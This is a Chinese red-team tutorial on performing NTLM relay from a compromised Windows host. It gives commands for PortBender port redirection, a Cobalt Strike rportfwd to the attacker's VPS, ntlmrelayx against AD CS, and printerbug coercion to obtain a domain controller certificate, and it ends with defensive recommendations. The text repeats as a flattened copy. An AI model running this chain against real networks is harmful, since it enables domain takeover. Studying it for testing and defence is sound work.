无需Linux进行NTLM Relay
字数 1413 2025-08-09 15:23:13

NTLM Relay攻击技术详解与实战指南

一、NTLM Relay技术概述

NTLM Relay是一种在Windows域环境中利用NTLM认证协议弱点进行攻击的技术,其核心在于"中继"受害者的Net-NTLM认证信息。

基本原理

  • 攻击者截获或诱使受害者发起NTLM认证
  • 将认证信息中继到目标服务器
  • 利用中继的认证信息获取目标系统权限

常见攻击场景

  1. 被动型攻击

    • 利用WPAD(Web Proxy Auto-Discovery Protocol)
    • 利用LLMNR(Link-Local Multicast Name Resolution)
  2. 主动型攻击

    • 利用打印机漏洞(MS-RPRN)
    • 利用PetitPotam等强制认证技术

二、传统NTLM Relay的限制

传统NTLM Relay攻击存在一个重要限制:

  • 需要监听本地445端口(SMB服务端口)
  • Windows系统默认占用445端口
  • 导致攻击通常只能在Linux系统上实施

三、突破限制的技术方案

1. 端口重定向技术

使用PortBender工具将受控机的445端口流量重定向到其他端口:

  1. 上传PortBender驱动文件(xxx.sys)到受控机
  2. 执行重定向命令:
    PortBender redirect 445 8445
    
    将445端口流量重定向到8445端口

2. 端口转发技术

使用Cobalt Strike的rportfwd功能:

rportfwd 8445 <vps_ip> 445

将受控机的8445端口转发到攻击机的445端口

3. SOCKS代理设置

在Cobalt Strike中设置SOCKS代理,使攻击流量通过受控机中转

四、实战攻击流程

环境准备

  • 主域控制器:192.168.8.144
  • 辅域控制器:192.168.8.155
  • 攻击者VPS
  • 受控机:192.168.8.75(已获取管理员权限)

攻击步骤

  1. 端口重定向

    • 在受控机上执行:
      PortBender redirect 445 8445
      
  2. 端口转发

    • 在Cobalt Strike中执行:
      rportfwd 8445 <vps_ip> 445
      
  3. 设置SOCKS代理

    • 在Cobalt Strike中开启SOCKS代理
  4. 启动NTLM Relay

    • 在攻击机上使用proxychains执行:
      proxychains4 ntlmrelayx.py -t http://192.168.8.144/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'
      
  5. 触发强制认证

    • 使用打印机漏洞触发:
      python printerbug.py domain.com/user:pass@192.168.8.155 192.168.8.75
      
  6. 获取证书

    • 成功中继后可从AD CS服务器获取域控制器证书

五、技术要点与优化建议

  1. 多进程执行

    • 建议使用多个独立进程执行不同任务(重定向、转发、SOCKS)
    • 避免所有操作在单一session中导致崩溃
  2. 性能考虑

    • 多层流量转发会导致延迟增加
    • 攻击机接收流量时响应会明显变慢
  3. 工具选择

    • PortBender:https://github.com/praetorian-inc/PortBender
    • ntlmrelayx.py:Impacket工具集中的NTLM中继工具
    • printerbug.py:利用MS-RPRN协议强制认证的工具

六、防御建议

  1. 禁用不必要的协议

    • 禁用LLMNR和NetBIOS
    • 限制WPAD使用
  2. 启用SMB签名

    • 强制所有SMB通信使用签名
  3. 保护AD CS服务

    • 限制证书模板权限
    • 监控异常证书请求
  4. 网络分段

    • 实施严格的网络访问控制
    • 限制敏感服务的访问路径
  5. 监控与检测

    • 监控异常的端口重定向行为
    • 检测异常的NTLM认证请求

通过以上技术方案,攻击者可以在Windows环境下成功实施NTLM Relay攻击,无需依赖Linux系统。这种技术特别适合在已获取一台Windows主机权限后,进一步横向移动获取域控权限的场景。

NTLM Relay攻击技术详解与实战指南 一、NTLM Relay技术概述 NTLM Relay是一种在Windows域环境中利用NTLM认证协议弱点进行攻击的技术,其核心在于"中继"受害者的Net-NTLM认证信息。 基本原理 攻击者截获或诱使受害者发起NTLM认证 将认证信息中继到目标服务器 利用中继的认证信息获取目标系统权限 常见攻击场景 被动型攻击 : 利用WPAD(Web Proxy Auto-Discovery Protocol) 利用LLMNR(Link-Local Multicast Name Resolution) 主动型攻击 : 利用打印机漏洞(MS-RPRN) 利用PetitPotam等强制认证技术 二、传统NTLM Relay的限制 传统NTLM Relay攻击存在一个重要限制: 需要监听本地445端口(SMB服务端口) Windows系统默认占用445端口 导致攻击通常只能在Linux系统上实施 三、突破限制的技术方案 1. 端口重定向技术 使用PortBender工具将受控机的445端口流量重定向到其他端口: 上传PortBender驱动文件(xxx.sys)到受控机 执行重定向命令: 将445端口流量重定向到8445端口 2. 端口转发技术 使用Cobalt Strike的rportfwd功能: 将受控机的8445端口转发到攻击机的445端口 3. SOCKS代理设置 在Cobalt Strike中设置SOCKS代理,使攻击流量通过受控机中转 四、实战攻击流程 环境准备 主域控制器:192.168.8.144 辅域控制器:192.168.8.155 攻击者VPS 受控机:192.168.8.75(已获取管理员权限) 攻击步骤 端口重定向 : 在受控机上执行: 端口转发 : 在Cobalt Strike中执行: 设置SOCKS代理 : 在Cobalt Strike中开启SOCKS代理 启动NTLM Relay : 在攻击机上使用proxychains执行: 触发强制认证 : 使用打印机漏洞触发: 获取证书 : 成功中继后可从AD CS服务器获取域控制器证书 五、技术要点与优化建议 多进程执行 : 建议使用多个独立进程执行不同任务(重定向、转发、SOCKS) 避免所有操作在单一session中导致崩溃 性能考虑 : 多层流量转发会导致延迟增加 攻击机接收流量时响应会明显变慢 工具选择 : PortBender:https://github.com/praetorian-inc/PortBender ntlmrelayx.py:Impacket工具集中的NTLM中继工具 printerbug.py:利用MS-RPRN协议强制认证的工具 六、防御建议 禁用不必要的协议 : 禁用LLMNR和NetBIOS 限制WPAD使用 启用SMB签名 : 强制所有SMB通信使用签名 保护AD CS服务 : 限制证书模板权限 监控异常证书请求 网络分段 : 实施严格的网络访问控制 限制敏感服务的访问路径 监控与检测 : 监控异常的端口重定向行为 检测异常的NTLM认证请求 通过以上技术方案,攻击者可以在Windows环境下成功实施NTLM Relay攻击,无需依赖Linux系统。这种技术特别适合在已获取一台Windows主机权限后,进一步横向移动获取域控权限的场景。